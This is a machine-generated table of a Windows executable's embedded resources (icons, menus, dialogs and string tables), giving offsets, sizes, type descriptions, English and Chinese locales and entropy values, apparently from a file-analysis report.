RT_ICON	0x7275c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.41898340248962657
RT_ICON	0x729b68	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.31849680170575695
RT_ICON	0x72aa10	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.0940948900790011
RT_ICON	0x76ca38	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.2403526970954357
RT_ICON	0x76efe0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.23747334754797442
RT_ICON	0x76fe88	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.07294286475130929
RT_ICON	0x7b1eb0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.22946058091286306
RT_ICON	0x7b4458	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.3845948827292111
RT_ICON	0x7b5300	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.11070879072106991
RT_ICON	0x7f7328	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.2720954356846473
RT_ICON	0x7f98d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.47414712153518124
RT_ICON	0x7fa778	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.15950750066573957
RT_ICON	0x83c7a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.3266597510373444
RT_ICON	0x83ed48	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5039978678038379
RT_ICON	0x83fbf0	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.11236204396839956
RT_ICON	0x881c18	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.29221991701244815
RT_ICON	0x8841c0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.3294243070362473
RT_ICON	0x885068	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.04936828712607628
RT_ICON	0x8c7090	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.19636929460580912
RT_ICON	0x8c9638	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.21641791044776118
RT_ICON	0x8ca4e0	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.05021525579193419
RT_ICON	0x90c508	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.15985477178423235
RT_ICON	0x90eab0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.2835820895522388
RT_ICON	0x90f958	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.03847974672308193
RT_ICON	0x951980	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.15477178423236515
RT_ICON	0x953f28	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.4035181236673774
RT_ICON	0x954dd0	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.11820205935438056
RT_ICON	0x996df8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.3266597510373444
RT_ICON	0x9993a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.20362473347547974
RT_ICON	0x99a248	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.21931407942238268
RT_ICON	0x99aaf0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.21025345622119815
RT_ICON	0x99b1b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.17196531791907516
RT_ICON	0x99b720	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.1632780082987552
RT_ICON	0x99dcc8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.2225609756097561
RT_ICON	0x99ed70	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.33237704918032784
RT_ICON	0x99f6f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.39095744680851063
RT_ICON	0x99fb60	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.05063965884861407
RT_ICON	0x9a0a08	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.061371841155234655
RT_ICON	0x9a12b0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.06682027649769585
RT_ICON	0x9a1978	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.06864161849710983
RT_ICON	0x9a1ee0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.02562240663900415
RT_ICON	0x9a4488	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.04549718574108818
RT_ICON	0x9a5530	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.06557377049180328
RT_ICON	0x9a5eb8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.10017730496453901
RT_ICON	0x9a6320	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.09834754797441364
RT_ICON	0x9a71c8	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.013033701216084269
RT_ICON	0x9e91f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.04854771784232365
RT_ICON	0x9eb798	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.11727078891257996
RT_ICON	0x9ec640	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.14169675090252706
RT_ICON	0x9ecee8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.14285714285714285
RT_ICON	0x9ed5b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.12716763005780346
RT_ICON	0x9edb18	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.06960580912863071
RT_ICON	0x9f00c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.1149155722326454
RT_ICON	0x9f1168	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.15614754098360656
RT_ICON	0x9f1af0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.1879432624113475
RT_ICON	0x9f1f58	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.21002132196162046
RT_ICON	0x9f2e00	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.028981862295470014
RT_ICON	0xa34e28	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.11535269709543569
RT_ICON	0xa373d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.22574626865671643
RT_ICON	0xa38278	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.03785469124478504
RT_ICON	0xa7a2a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.11960580912863071
RT_ICON	0xa7c848	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5335820895522388
RT_ICON	0xa7d6f0	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.20169319762109064
RT_ICON	0xabf718	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4200207468879668
RT_ICON	0xac1cc0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.22707889125799574
RT_ICON	0xac2b68	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.2657942238267148
RT_ICON	0xac3410	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.26440092165898615
RT_ICON	0xac3ad8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.20664739884393063
RT_ICON	0xac4040	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.16773858921161824
RT_ICON	0xac65e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.22936210131332083
RT_ICON	0xac7690	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.28852459016393445
RT_ICON	0xac8018	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.350177304964539
RT_ICON	0xac8480	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.13432835820895522
RT_ICON	0xac9328	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.15478339350180506
RT_ICON	0xac9bd0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.14688940092165897
RT_ICON	0xaca298	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.1329479768786127
RT_ICON	0xaca800	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08838174273858922
RT_ICON	0xaccda8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.12335834896810506
RT_ICON	0xacde50	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.18155737704918032
RT_ICON	0xace7d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2296099290780142
RT_ICON	0xacec40	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.23747334754797442
RT_ICON	0xacfae8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.2793321299638989
RT_ICON	0xad0390	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.2638248847926267
RT_ICON	0xad0a58	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.21242774566473988
RT_ICON	0xad0fc0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.12261410788381742
RT_ICON	0xad3568	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.1772983114446529
RT_ICON	0xad4610	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.24631147540983606
RT_ICON	0xad4f98	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.30230496453900707
RT_ICON	0xad5400	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.33198924731182794
RT_ICON	0xad56e8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.41216216216216217
RT_ICON	0xad5810	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.42905405405405406
RT_ICON	0xad5938	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.2661290322580645
RT_ICON	0xad5c20	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	United States	0.3581081081081081
RT_ICON	0xad5d48	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 0	English	United States	0.6272935779816514
RT_ICON	0xad60b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.5452127659574468
RT_ICON	0xad6518	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.6400709219858156
RT_ICON	0xad6980	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5
RT_ICON	0xad6aa8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.6385135135135135
RT_ICON	0xad6bd0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.8265895953757225
RT_ICON	0xad7138	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7331560283687943
RT_ICON	0xad75a0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.43243243243243246
RT_ICON	0xad76c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.48916184971098264
RT_ICON	0xad7c30	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.375
RT_ICON	0xad8098	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.46283783783783783
RT_ICON	0xad81c0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.5578034682080925
RT_ICON	0xad8728	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6409574468085106
RT_ICON	0xad8b90	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5743243243243243
RT_ICON	0xad8cb8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.5852601156069365
RT_ICON	0xad9220	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.848404255319149
RT_ICON	0xad9688	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.45306859205776173
RT_ICON	0xad9f30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.22707889125799574
RT_ICON	0xadadd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.2657942238267148
RT_ICON	0xadb680	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.26440092165898615
RT_ICON	0xadbd48	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.20664739884393063
RT_ICON	0xadc2b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.16773858921161824
RT_ICON	0xade858	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.22936210131332083
RT_ICON	0xadf900	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.28852459016393445
RT_ICON	0xae0288	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.350177304964539
RT_MENU	0xae06f0	0x1a0	data	Chinese	Taiwan	0.71875
RT_MENU	0xae0890	0x342	data	English	United States	0.4592326139088729
RT_MENU	0xae0bd4	0x1a0	data	Chinese	China	0.71875
RT_MENU	0xae0d74	0x34	data	Chinese	Taiwan	0.9038461538461539
RT_MENU	0xae0da8	0x46	data	English	United States	0.8428571428571429
RT_MENU	0xae0df0	0x34	data	Chinese	China	0.9038461538461539
RT_MENU	0xae0e24	0x7c	data	Chinese	Taiwan	0.8951612903225806
RT_MENU	0xae0ea0	0xf2	data	English	United States	0.628099173553719
RT_MENU	0xae0f94	0x7c	data	Chinese	China	0.8951612903225806
RT_MENU	0xae1010	0x1a	data	Chinese	Taiwan	1.1538461538461537
RT_MENU	0xae102c	0x1c	data	English	United States	1.0357142857142858
RT_MENU	0xae1048	0x1a	data	Chinese	China	1.1538461538461537
RT_MENU	0xae1064	0x36	data	Chinese	Taiwan	1.1111111111111112
RT_MENU	0xae109c	0x72	data	English	United States	0.7982456140350878
RT_MENU	0xae1110	0x36	data	Chinese	China	1.1111111111111112
RT_MENU	0xae1148	0x24	data	Chinese	Taiwan	1.1666666666666667
RT_MENU	0xae116c	0x3c	data	English	United States	0.9
RT_MENU	0xae11a8	0x24	data	Chinese	China	1.1666666666666667
RT_MENU	0xae11cc	0x5a	data	Chinese	Taiwan	0.9666666666666667
RT_MENU	0xae1228	0x86	data	English	United States	0.7611940298507462
RT_MENU	0xae12b0	0x5a	data	Chinese	China	0.9666666666666667
RT_MENU	0xae130c	0x11c	data	English	United States	0.573943661971831
RT_MENU	0xae1428	0xae	data	English	United States	0.632183908045977
RT_DIALOG	0xae14d8	0x2b8	data	Chinese	Taiwan	0.5833333333333334
RT_DIALOG	0xae1790	0x428	data	English	United States	0.44548872180451127
RT_DIALOG	0xae1bb8	0x2b8	data	Chinese	China	0.5833333333333334
RT_DIALOG	0xae1e70	0x300	data	Chinese	Taiwan	0.5677083333333334
RT_DIALOG	0xae2170	0x3e4	data	English	United States	0.4748995983935743
RT_DIALOG	0xae2554	0x300	data	Chinese	China	0.5677083333333334
RT_DIALOG	0xae2854	0xde	data	Chinese	Taiwan	0.6171171171171171
RT_DIALOG	0xae2934	0xfc	data	English	United States	0.5912698412698413
RT_DIALOG	0xae2a30	0xde	data	Chinese	China	0.6171171171171171
RT_DIALOG	0xae2b10	0x244	data	Chinese	Taiwan	0.4844827586206897
RT_DIALOG	0xae2d54	0x338	data	English	United States	0.4029126213592233
RT_DIALOG	0xae308c	0x244	data	Chinese	China	0.4844827586206897
RT_DIALOG	0xae32d0	0x1a4	data	Chinese	Taiwan	0.611904761904762
RT_DIALOG	0xae3474	0x240	data	English	United States	0.5260416666666666
RT_DIALOG	0xae36b4	0x1a4	data	Chinese	China	0.611904761904762
RT_DIALOG	0xae3858	0x210	data	Chinese	Taiwan	0.4981060606060606
RT_DIALOG	0xae3a68	0x2fc	data	English	United States	0.43848167539267013
RT_DIALOG	0xae3d64	0x210	data	Chinese	China	0.4981060606060606
RT_DIALOG	0xae3f74	0x144	data	Chinese	Taiwan	0.5925925925925926
RT_DIALOG	0xae40b8	0x18a	data	English	United States	0.5558375634517766
RT_DIALOG	0xae4244	0x144	data	Chinese	China	0.5925925925925926
RT_DIALOG	0xae4388	0xf4	data	Chinese	Taiwan	0.6967213114754098
RT_DIALOG	0xae447c	0x164	data	English	United States	0.5842696629213483
RT_DIALOG	0xae45e0	0xf4	data	Chinese	China	0.6967213114754098
RT_DIALOG	0xae46d4	0x1d6	data	Chinese	Taiwan	0.5765957446808511
RT_DIALOG	0xae48ac	0x236	data	English	United States	0.4929328621908127
RT_DIALOG	0xae4ae4	0x1d6	data	Chinese	China	0.5765957446808511
RT_DIALOG	0xae4cbc	0x260	data	Chinese	Taiwan	0.5592105263157895
RT_DIALOG	0xae4f1c	0x380	data	English	United States	0.4341517857142857
RT_DIALOG	0xae529c	0x260	data	Chinese	China	0.5592105263157895
RT_DIALOG	0xae54fc	0x14c	data	English	United States	0.6024096385542169
RT_DIALOG	0xae5648	0x10c	data	Chinese	Taiwan	0.6007462686567164
RT_DIALOG	0xae5754	0x144	data	English	United States	0.5709876543209876
RT_DIALOG	0xae5898	0x10c	data	Chinese	China	0.6007462686567164
RT_DIALOG	0xae59a4	0x126	data	Chinese	Taiwan	0.6054421768707483
RT_DIALOG	0xae5acc	0x180	data	English	United States	0.5546875
RT_DIALOG	0xae5c4c	0x126	data	Chinese	China	0.6054421768707483
RT_DIALOG	0xae5d74	0x1ba	data	Chinese	Taiwan	0.6266968325791855
RT_DIALOG	0xae5f30	0x28e	data	English	United States	0.5275229357798165
RT_DIALOG	0xae61c0	0x1ba	data	Chinese	China	0.6266968325791855
RT_DIALOG	0xae637c	0x2ee	data	Chinese	Taiwan	0.5866666666666667
RT_DIALOG	0xae666c	0x48e	data	English	United States	0.45197255574614065
RT_DIALOG	0xae6afc	0x2ee	data	Chinese	China	0.5866666666666667
RT_DIALOG	0xae6dec	0x62	data	English	United States	0.7346938775510204
RT_DIALOG	0xae6e50	0x238	data	Chinese	Taiwan	0.522887323943662
RT_DIALOG	0xae7088	0x368	data	English	United States	0.4369266055045872
RT_DIALOG	0xae73f0	0x238	data	Chinese	China	0.522887323943662
RT_DIALOG	0xae7628	0x172	data	Chinese	Taiwan	0.6297297297297297
RT_DIALOG	0xae779c	0x1ea	data	English	United States	0.5775510204081633
RT_DIALOG	0xae7988	0x172	data	Chinese	China	0.6297297297297297
RT_DIALOG	0xae7afc	0x172	data	Chinese	Taiwan	0.6162162162162163
RT_DIALOG	0xae7c70	0x1ba	data	English	United States	0.5769230769230769
RT_DIALOG	0xae7e2c	0x172	data	Chinese	China	0.6162162162162163
RT_DIALOG	0xae7fa0	0x1d8	data	Chinese	Taiwan	0.5444915254237288
RT_DIALOG	0xae8178	0x21a	data	English	United States	0.5371747211895911
RT_DIALOG	0xae8394	0x1d8	data	Chinese	China	0.5444915254237288
RT_DIALOG	0xae856c	0xf6	data	Chinese	Taiwan	0.7113821138211383
RT_DIALOG	0xae8664	0x142	data	English	United States	0.6149068322981367
RT_DIALOG	0xae87a8	0xf6	data	Chinese	China	0.7113821138211383
RT_DIALOG	0xae88a0	0x16a	data	Chinese	Taiwan	0.6215469613259669
RT_DIALOG	0xae8a0c	0x1c2	data	English	United States	0.5911111111111111
RT_DIALOG	0xae8bd0	0x16a	data	Chinese	China	0.6215469613259669
RT_DIALOG	0xae8d3c	0xfa	data	Chinese	Taiwan	0.728
RT_DIALOG	0xae8e38	0x122	data	English	United States	0.6689655172413793
RT_DIALOG	0xae8f5c	0xfa	data	Chinese	China	0.728
RT_DIALOG	0xae9058	0x264	data	Chinese	Taiwan	0.5343137254901961
RT_DIALOG	0xae92bc	0x388	data	English	United States	0.43473451327433627
RT_DIALOG	0xae9644	0x264	data	Chinese	China	0.5343137254901961
RT_DIALOG	0xae98a8	0x138	data	Chinese	Taiwan	0.6378205128205128
RT_DIALOG	0xae99e0	0x1d2	data	English	United States	0.5364806866952789
RT_DIALOG	0xae9bb4	0x138	data	Chinese	China	0.6378205128205128
RT_DIALOG	0xae9cec	0x262	data	Chinese	Taiwan	0.5393442622950819
RT_DIALOG	0xae9f50	0x2fc	data	English	United States	0.4856020942408377
RT_DIALOG	0xaea24c	0x262	data	Chinese	China	0.5393442622950819
RT_DIALOG	0xaea4b0	0x13c	data	English	United States	0.5949367088607594
RT_DIALOG	0xaea5ec	0x1a4	data	English	United States	0.5380952380952381
RT_DIALOG	0xaea790	0xe6	data	English	United States	0.6347826086956522
RT_DIALOG	0xaea878	0x390	data	English	United States	0.4418859649122807
RT_DIALOG	0xaeac08	0x21c	data	English	United States	0.5037037037037037
RT_DIALOG	0xaeae24	0x390	data	English	United States	0.4692982456140351
RT_DIALOG	0xaeb1b4	0x1dc	data	English	United States	0.5441176470588235
RT_DIALOG	0xaeb390	0x346	data	English	United States	0.4701670644391408
RT_DIALOG	0xaeb6d8	0x334	data	English	United States	0.43658536585365854
RT_DIALOG	0xaeba0c	0x58	data	English	United States	0.8068181818181818
RT_DIALOG	0xaeba64	0x23c	data	English	United States	0.5122377622377622
RT_DIALOG	0xaebca0	0x1c2	data	English	United States	0.5066666666666667
RT_DIALOG	0xaebe64	0x160	data	English	United States	0.5994318181818182
RT_DIALOG	0xaebfc4	0xb2	data	English	United States	0.7191011235955056
RT_DIALOG	0xaec078	0x3d4	data	English	United States	0.3408163265306122
RT_DIALOG	0xaec44c	0x19e	data	English	United States	0.6280193236714976
RT_DIALOG	0xaec5ec	0x1a2	data	English	United States	0.5741626794258373
RT_DIALOG	0xaec790	0x34	data	English	United States	0.8076923076923077
RT_DIALOG	0xaec7c4	0x2a8	data	English	United States	0.5338235294117647
RT_DIALOG	0xaeca6c	0x382	data	English	United States	0.48552338530066813
RT_DIALOG	0xaecdf0	0xe8	data	English	United States	0.6336206896551724
RT_DIALOG	0xaeced8	0x1a2	data	English	United States	0.4688995215311005
RT_DIALOG	0xaed07c	0x15a	data	English	United States	0.5086705202312138
RT_DIALOG	0xaed1d8	0x34	data	English	United States	0.9038461538461539
RT_STRING	0xaed20c	0x116	data	Chinese	Taiwan	0.7517985611510791
RT_STRING	0xaed324	0x2f4	data	English	United States	0.3835978835978836
RT_STRING	0xaed618	0x116	data	Chinese	China	0.7517985611510791
RT_STRING	0xaed730	0xee	data	Chinese	Taiwan	0.8949579831932774
RT_STRING	0xaed820	0x2c4	data	English	United States	0.423728813559322
RT_STRING	0xaedae4	0xee	data	Chinese	China	0.8949579831932774
RT_STRING	0xaedbd4	0x176	data	Chinese	Taiwan	0.786096256684492
RT_STRING	0xaedd4c	0x3e4	data	English	United States	0.4166666666666667
RT_STRING	0xaee130	0x176	data	Chinese	China	0.786096256684492
RT_STRING	0xaee2a8	0x15c	data	Chinese	Taiwan	0.853448275862069
RT_STRING	0xaee404	0x436	data	English	United States	0.39053803339517623
RT_STRING	0xaee83c	0x15c	data	Chinese	China	0.853448275862069
RT_STRING	0xaee998	0x44	data	Chinese	Taiwan	0.75
RT_STRING	0xaee9dc	0x130	data	English	United States	0.4901315789473684
RT_STRING	0xaeeb0c	0x44	data	Chinese	China	0.75
RT_STRING	0xaeeb50	0x30	data	Chinese	Taiwan	0.6666666666666666
RT_STRING	0xaeeb80	0x5e	data	English	United States	0.6595744680851063
RT_STRING	0xaeebe0	0x30	data	Chinese	China	0.6666666666666666
RT_STRING	0xaeec10	0x3c	data	English	United States	0.6166666666666667
RT_STRING	0xaeec4c	0x32c	data	English	United States	0.4125615763546798
RT_STRING	0xaeef78	0x246	data	English	United States	0.5085910652920962
RT_STRING	0xaef1c0	0x84	data	English	United States	0.5833333333333334
RT_STRING	0xaef244	0x2a4	data	English	United States	0.3609467455621302
RT_STRING	0xaef4e8	0x20c	data	English	United States	0.3148854961832061
RT_STRING	0xaef6f4	0x24c	data	English	United States	0.4370748299319728
RT_STRING	0xaef940	0x3c	data	English	United States	0.65
RT_STRING	0xaef97c	0x16e	data	English	United States	0.39344262295081966
RT_STRING	0xaefaec	0xa6	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	English	United States	0.7228915662650602
RT_STRING	0xaefb94	0x184	data	English	United States	0.4742268041237113
RT_STRING	0xaefd18	0x66	data	English	United States	0.696078431372549
RT_STRING	0xaefd80	0x1d6	Matlab v4 mat-file (little endian) S, numeric, rows 0, columns 0	English	United States	0.35319148936170214
RT_STRING	0xaeff58	0x186	data	English	United States	0.5384615384615384
RT_STRING	0xaf00e0	0xb2	data	English	United States	0.6179775280898876
RT_STRING	0xaf0194	0x56	data	Chinese	Taiwan	0.6046511627906976
RT_STRING	0xaf01ec	0x9e	data	English	United States	0.4873417721518987
RT_STRING	0xaf028c	0x56	data	Chinese	China	0.6046511627906976
RT_STRING	0xaf02e4	0x86	data	Chinese	Taiwan	0.6343283582089553
RT_STRING	0xaf036c	0x104	data	English	United States	0.4576923076923077
RT_STRING	0xaf0470	0x86	data	Chinese	China	0.6343283582089553
RT_STRING	0xaf04f8	0x32	data	Chinese	Taiwan	0.54
RT_STRING	0xaf052c	0x66	data	English	United States	0.46078431372549017
RT_STRING	0xaf0594	0x32	data	Chinese	China	0.54
RT_STRING	0xaf05c8	0x4e	data	Chinese	Taiwan	0.7307692307692307
RT_STRING	0xaf0618	0x58	data	English	United States	0.6931818181818182
RT_STRING	0xaf0670	0x4e	data	Chinese	China	0.7307692307692307
RT_STRING	0xaf06c0	0x118	data	Chinese	Taiwan	0.675
RT_STRING	0xaf07d8	0x328	data	English	United States	0.34405940594059403
RT_STRING	0xaf0b00	0x118	data	Chinese	China	0.675
RT_STRING	0xaf0c18	0x3a	data	Chinese	Taiwan	0.6896551724137931
RT_STRING	0xaf0c54	0x70	data	English	United States	0.625
RT_STRING	0xaf0cc4	0x3a	data	Chinese	China	0.6896551724137931
RT_STRING	0xaf0d00	0x54	data	Chinese	Taiwan	0.7380952380952381
RT_STRING	0xaf0d54	0xd0	data	English	United States	0.6105769230769231
RT_STRING	0xaf0e24	0x54	data	Chinese	China	0.7380952380952381
RT_STRING	0xaf0e78	0x50	data	Chinese	Taiwan	0.5125
RT_STRING	0xaf0ec8	0xda	data	English	United States	0.43119266055045874
RT_STRING	0xaf0fa4	0x50	data	Chinese	China	0.5125
RT_STRING	0xaf0ff4	0x18c	data	English	United States	0.398989898989899
RT_STRING	0xaf1180	0x46	data	Chinese	Taiwan	0.7428571428571429
RT_STRING	0xaf11c8	0x46	data	English	United States	0.7428571428571429
RT_STRING	0xaf1210	0x46	data	Chinese	China	0.7428571428571429
RT_STRING	0xaf1258	0x58	data	Chinese	Taiwan	0.5340909090909091
RT_STRING	0xaf12b0	0xc6	data	English	United States	0.41919191919191917
RT_STRING	0xaf1378	0x58	data	Chinese	China	0.5340909090909091
RT_STRING	0xaf13d0	0xa0	data	Chinese	Taiwan	0.70625
RT_STRING	0xaf1470	0x1f8	data	English	United States	0.36706349206349204
RT_STRING	0xaf1668	0xa0	data	Chinese	China	0.70625
RT_STRING	0xaf1708	0x40	data	Chinese	Taiwan	0.796875
RT_STRING	0xaf1748	0x86	data	English	United States	0.6567164179104478
RT_STRING	0xaf17d0	0x40	data	Chinese	China	0.796875
RT_STRING	0xaf1810	0x13c	data	Chinese	Taiwan	0.7436708860759493
RT_STRING	0xaf194c	0x2e4	data	English	United States	0.4081081081081081
RT_STRING	0xaf1c30	0x13c	data	Chinese	China	0.7436708860759493
RT_STRING	0xaf1d6c	0x104	data	Chinese	Taiwan	0.5538461538461539
RT_STRING	0xaf1e70	0x2ce	data	English	United States	0.2938718662952646
RT_STRING	0xaf2140	0x104	data	Chinese	China	0.5538461538461539
